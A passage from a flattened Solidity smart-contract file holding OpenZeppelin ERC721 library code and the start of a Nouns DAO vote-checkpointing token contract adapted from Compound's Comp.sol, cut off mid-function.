(utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/contract.sol /// @title Vote checkpointing for an ERC-721 token /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ // LICENSE // ERC721Checkpointable.sol uses and modifies part of Compound Lab's Comp.sol: // https://github.com/compound-finance/compound-protocol/blob/ae4388e780a8d596d97619d9704a931a2752c2bc/contracts/Governance/Comp.sol // // Comp.sol source code Copyright 2020 Compound Labs, Inc. licensed under the BSD-3-Clause license. // With modifications by Nounders DAO. // // Additional conditions of BSD-3-Clause can be found here: https://opensource.org/licenses/BSD-3-Clause // // MODIFICATIONS // Checkpointing logic from Comp.sol has been used with the following modifications: // - `delegates` is renamed to `_delegates` and is set to private // - `delegates` is a public function that uses the `_delegates` mapping look-up, but unlike // Comp.sol, returns the delegator's own address if there is no delegate. // This avoids the delegator needing to "delegate to self" with an additional transaction // - `_transferTokens()` is renamed `_beforeTokenTransfer()` and adapted to hook into OpenZeppelin's ERC721 hooks. pragma solidity ^0.8.6; abstract contract ERC721Checkpointable is ERC721Enumerable { /// @notice Defines decimals as per ERC-20 convention to make integrations with 3rd party governance platforms easier uint8 public constant decimals = 0; /// @notice A record of each accounts delegate mapping(address => address) private _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @notice The votes a delegator can delegate, which is the current balance of the delegator. * @dev Used when calling `_delegate()` */ function votesToDelegate(address delegator) public view returns (uint96) { return safe96(balanceOf(delegator), "ERC721Checkpointable::votesToDelegate: amount exceeds 96 bits"); } /** * @notice Overrides the standard `Comp.sol` delegates mapping to return * the delegator's own address if they haven't delegated. * This avoids having to delegate to oneself. */ function delegates(address delegator) public view returns (address) { address current = _delegates[delegator]; return current == address(0) ? delegator : current; } /** * @notice Adapted from `_transferTokens()` in `Comp.sol` to update delegate votes. * @dev hooks into OpenZeppelin's `ERC721._transfer` */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { super._beforeTokenTransfer(from, to, tokenId); /// @notice Differs from `_transferTokens()` to use `delegates` override method to simulate auto-delegation _moveDelegates(delegates(from), delegates(to), 1); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { if (delegatee == address(0)) delegatee = msg.sender; return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "ERC721Checkpointable::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "ERC721Checkpointable::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "ERC721Checkpointable::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 